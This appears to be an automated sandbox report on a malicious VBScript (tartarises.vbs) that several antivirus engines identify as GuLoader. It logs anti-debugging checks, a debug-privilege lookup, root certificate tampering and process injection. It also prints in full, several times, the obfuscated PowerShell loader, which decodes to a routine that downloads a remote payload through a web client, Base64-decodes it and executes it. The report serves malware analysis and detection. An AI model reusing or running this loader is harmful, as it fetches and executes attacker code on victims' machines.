ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;"

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW Nov. 11, 2024, 10:12 a.m.	show_type: 0 filepath_r: POWERSHELL parameters: " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;" filepath: POWERSHELL	1	1	0

File has been identified by 5 AntiVirus engines on VirusTotal as malicious (5 events)

Avast	Script:SNH-gen [Trj]
Kaspersky	HEUR:Trojan.PowerShell.Generic
Rising	Trojan.Starter/VBS!1.10517 (CLASSIC)
huorong	Trojan/VBS.GuLoader.m
AVG	Script:SNH-gen [Trj]

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Nov. 11, 2024, 10:12 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Uses Windows utilities for basic Windows functionality (2 events)

cmdline

Attempts to create or modify system certificates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob

One or more non-whitelisted processes were created (2 events)

parent_process	wscript.exe				martian_process	POWERSHELL " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;"
parent_process	wscript.exe				martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#adaptors Modiation Nonhostility #>;$Lorenzkurverne='Ukulelerne';<#Jemedet Demeaning Syllogistically isocardiidae Klientportefljes Forelsningsrkkens #>; function Drumread($Sklmerne){If ($host.DebuggerEnabled) {$Jalouse203++;}$Altar=$Pudserlig+$Sklmerne.'Length' - $Jalouse203; for ( $Tumlede49=4;$Tumlede49 -lt $Altar;$Tumlede49+=5){$Tumlede49ndfoerer=$Tumlede49;$Evaluere+=$Sklmerne[$Tumlede49];}$Evaluere;}function Cannibalistic3($Sublacunose){ & ($Positivisterne) ($Sublacunose);}$Kniplingskjole=Drumread 'OpstM M soR sezAfkviL,qul lgl Un a he,/ I c ';$Foranledigende=Drumread ' SclTVej lPi es uck1Dip 2Vigd ';$Whizzerman='Disc[ Bo n rabESpkltfatt.isn.s,lleeT.eaRSkruVTetriUnenc teE KarPCh foFremIIncoNRem.TAfleM.haza epiNJ.niAOxydG knkEAr.erHder]Spil:stum:JoursNongEBogac arcu AnsrlysoIGluitoverY TrvPPoucRSkeeoRa stforso DraCTwi oSanglJtte=Mono$FyrtfSaliOApioRPe iAOve NKatnlAfhjEhalsdHeadiPundGPanseDa.zn EurdLnudeOpsa ';$Kniplingskjole+=Drumread ' Lo,5Til .Bogm0U.op le(Py nW brui rean,ekud ubsoWitcw Opts D,m Ja zN alTPal, Naad1S rv0Sl,g.Hero0 Ops;Sm e LobeW Cuei FelnPres6Poly4 Gav;Er o Und x Ils6 Aar4 pec;Pres In.orslalv Eur:Skon1 aad3 for1Jule.H.mo0drud)P ea SudeGCollePantc.ecekPreroArbe/ Ani2Bjer0Blth1Sur 0Mult0Ecte1Ophj0S,ot1Loxo Var,FMo giFrisrMetheSjl fRefooPol x ,us/ Syl1,oda3 Nav1Hg n. ,os0 Ref ';$Gnomoniaceae=Drumread ' limu TorSGrupE Bedr Sen- TelAmellGTi,sE nyn .luTD be ';$Baconize=Drumread 'Po thLgget KrltIagtp hirsLign:Pr c/R ck/ Dusf veiStorlMelleEle.d,arinBea,.SekueProduVel./raasl u i9 Inft O.lEOptnw,ankb Un 9YmpesJep 6Tetras bdan nvRTranw,ega5UrnlfSignydobbUCompiC ila RamCRe,n0,irkl .anf Eks/ KumSGenvkHoaruStilf igefAn kecampkracioAfh m Skae SamdperiiStateFrilrHumi1su e2Mete3Ddeb.IsodsOvernaar pP.ct ';$tranquillise=Drumread ' rev>Nilo ';$Positivisterne=Drumread 'OverIEc,iEBommXSpea ';$Titular='Divinable';$Celtis='\ferrels.Prv';Cannibalistic3 (Drumread ' Gu $Sco.g gralHypoOK isBDehaAAc iLUnde:PhilPBibmH .auaun,mLAf aADhotNSo,mGLugnENoneR For1Hoku3C ac2Indt= roc$Gor e ChenDickVMhla:Pla.aNasoP ,raP IwudM ltAli iTFlamAProv+ oel$O ercE feeP lfLGrftTSpadiPipes Mot ');Cannibalistic3 (Drumread ' Klh$,arvG,ootlSydloGninBNon aIod lPoly: P.pfU relPro.uSup.os taB piloPap r AhaIapprTSm keStap= Raa$Rev Barc A AlbcSkabO subNAut,IS.alZA,siE Bol. BorS Av.pun rLBagsiYve T Jel(Remo$ Fo T eriR FerASpatN gynqIndkuRedoiFlnslArguL In.IRe.dsUdskeInse)Fagb ');Cannibalistic3 (Drumread $Whizzerman);$Baconize=$Fluoborite[0];$Megascope=(Drumread 'diak$ ByggAfprlDambo TraBFribAOndslSw e:R diTNer iJurilMilis D gT AlluIro N phyD UvuEHejsnCoendVoteEVal,9 ra1Arbe=uddaNSeafeDocewSalt-AkseOCembbMet JUr seC uncP.euT als BuresB uty BedSS,iftBen,Eafr mOver.BeadNTjrcE ecT Kav.BantwInfieSk ybKr scSekslOveriFjteEEdsan Stat Ra. ');Cannibalistic3 ($Megascope);Cannibalistic3 (Drumread 'Nonm$PretTNibei Skol Tafs Re t Stdu H inBismd Reje tran umodBefsePlu 9K ns1Ove . PreHMagneAmpeanarcdCa temethrBa ksP,ll[Stea$KontG admn OveoSpinm,anuoLar nV dai ,pua Embc omeFacoaDilleTtni]R ko=Kurv$VoldK Su nRugbiFingp AbslEt iiDybfnDiongHimlsSlvrkStatjBegroSo.il,okheSul. ');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;"

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1460 resumed a thread in remote process 2296
NtResumeThread Nov. 11, 2024, 10:12 a.m.	thread_handle: 0x000004bc suspend_count: 1 process_identifier: 2296	1	0	0

Uses Sysinternals tools in order to add additional command line functionality (2 events)

cmdline

The process wscript.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

tartarises.vbs

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All